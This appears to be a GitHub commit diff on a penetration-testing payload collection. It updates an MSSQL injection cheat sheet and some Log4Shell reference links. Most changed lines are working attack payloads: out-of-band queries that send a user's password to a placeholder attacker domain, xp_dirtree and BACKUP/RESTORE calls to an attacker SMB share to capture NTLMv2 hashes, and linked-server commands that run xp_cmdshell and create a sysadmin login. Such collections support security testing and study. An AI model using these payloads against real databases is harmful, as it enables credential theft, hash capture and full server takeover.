You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
Frames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles.
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
106
-
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
107
-
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
105
+
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - LunaSec - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
106
+
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - LunaSec - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
107
+
* [PSA: Log4Shell and the current state of JNDI injection - Moritz Bechler - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
Copy file name to clipboardExpand all lines: SQL Injection/MSSQL Injection.md
+18-18Lines changed: 18 additions & 18 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -304,36 +304,36 @@ Technique from [@ptswarm](https://twitter.com/ptswarm/status/1313476695295512578
304
304
***Permission**: Requires `VIEW SERVER STATE` permission on the server.
305
305
306
306
```powershell
307
-
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
307
+
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.xem',null,null))
308
308
```
309
309
310
310
***Permission**: Requires the `CONTROL SERVER` permission.
311
311
312
312
```powershell
313
-
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
314
-
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
313
+
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\',default,default)))
314
+
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.trc',default))
315
315
```
316
316
317
317
### MSSQL UNC Path
318
318
319
319
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.
320
320
321
321
```sql
322
-
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
322
+
1'; use master; exec xp_dirtree '\\10.10.10.10\SHARE';--
323
323
```
324
324
325
325
```sql
326
-
xp_dirtree '\\attackerip\file'
327
-
xp_fileexist '\\attackerip\file'
328
-
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
329
-
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
330
-
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
331
-
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
332
-
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
333
-
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
334
-
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
335
-
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
336
-
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
326
+
xp_dirtree '\\10.10.10.10\file'
327
+
xp_fileexist '\\10.10.10.10\file'
328
+
BACKUP LOG [TESTING] TO DISK = '\\10.10.10.10\file'
329
+
BACKUP DATABASE [TESTING] TO DISK = '\\10.10.10.10\file'
330
+
RESTORE LOG [TESTING] FROM DISK = '\\10.10.10.10\file'
331
+
RESTORE DATABASE [TESTING] FROM DISK = '\\10.10.10.10\file'
332
+
RESTORE HEADERONLY FROM DISK = '\\10.10.10.10\file'
333
+
RESTORE FILELISTONLY FROM DISK = '\\10.10.10.10\file'
334
+
RESTORE LABELONLY FROM DISK = '\\10.10.10.10\file'
335
+
RESTORE REWINDONLY FROM DISK = '\\10.10.10.10\file'
336
+
RESTORE VERIFYONLY FROM DISK = '\\10.10.10.10\file'
337
337
```
338
338
339
339
## MSSQL Trusted Links
@@ -366,8 +366,8 @@ A trusted link in Microsoft SQL Server is a linked server relationship that allo
366
366
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
367
367
368
368
-- Create a SQL user and give sysadmin privileges
369
-
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
370
-
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
369
+
EXECUTE('EXECUTE(''CREATE LOGIN User WITH PASSWORD = ''''Password123'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02"
370
+
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''User'''' , ''''sysadmin'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02"
371
371
```
372
372
373
373
## MSSQL Privileges
@@ -402,7 +402,7 @@ A trusted link in Microsoft SQL Server is a linked server relationship that allo
0 commit comments